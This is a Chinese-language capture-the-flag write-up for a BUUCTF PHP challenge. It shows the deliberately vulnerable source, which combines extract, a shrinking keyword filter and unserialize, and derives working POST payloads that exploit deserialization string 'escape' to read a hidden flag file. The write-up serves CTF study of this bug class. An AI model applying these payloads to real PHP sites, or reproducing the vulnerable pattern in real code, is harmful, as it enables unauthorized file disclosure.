记一道php反序列化由多换少型的逃逸
前言
- 环境:buuctf中[安洵杯 2019]easy_serialize_php
- 知识点:php反序列化逃逸
- 参考:wp
做题
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
在phpinfo中找到提示d0g3_f1ag.php
要读取d0g3_f1ag.php
调用得file_get_contents函数读取的参数是$userinfo['img'])
,而$userinfo
是由$serialize_info
反序列化过来,$serialize_info
是由$_SESSION
数组序列化得来,而$SESSION['img']
是不可控的,那么突破点在哪里呢?
诶! 突破点在于数组序列化之后,过滤时将某些字符串由多换成少,会造成漏洞
借用某位大佬得话:任何具有一定结构的数据,只要经过了某些处理而把自身结构改变,则可能会产生漏洞。
之前接触的反序列化逃逸是字符串由少变多,而这里则是由多变少
进行分析
首先得知道extract会造成变量覆盖,但传进去_SESSION['flag']=flag
时,会把之前得$SESSION
数组清空,然后再赋值
我们先按照题意构造序列化串
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBocA==";}
要造成逃逸,因为img是在最后面,显然是要把s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
放进去
根据序列化字符串格式,逐步往前构造
参照
a:2:{s:4:"user";s:5:"guest";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
先构造s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
,因为键值被替换为空,我们要构造一个值与多出来的那个键值匹配s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
根据格式,x表示未知
被吃之前:
【s:x:"xxxxx";】【s:x:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"】
被吃之后
【s:x:"";s:x:";】【s:1:"1";】【s:3:"img";】【s:20:"ZDBnM19mMWFnLnBocA==";】}"
显然背吃之后的第二个x表示的是;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
得长度48
【s:x:"";s:48:";】【s:1:"1";】【s:3:"img";】【s:20:"ZDBnM19mMWFnLnBocA=="】;}"
那么第一个x就是7,则被替换的字符串有7个,要将7个字符串全部替换为空
【s:7:"phpflag";s:48:";】【s:1:"1";】【s:3:"img";】【s:20:"ZDBnM19mMWFnLnBocA=="】;}"
我们得payload:
POST:
_SESSION['flagphp']=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
得到/d0g3_fllllllag
替换
_SESSION['flagphp']=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}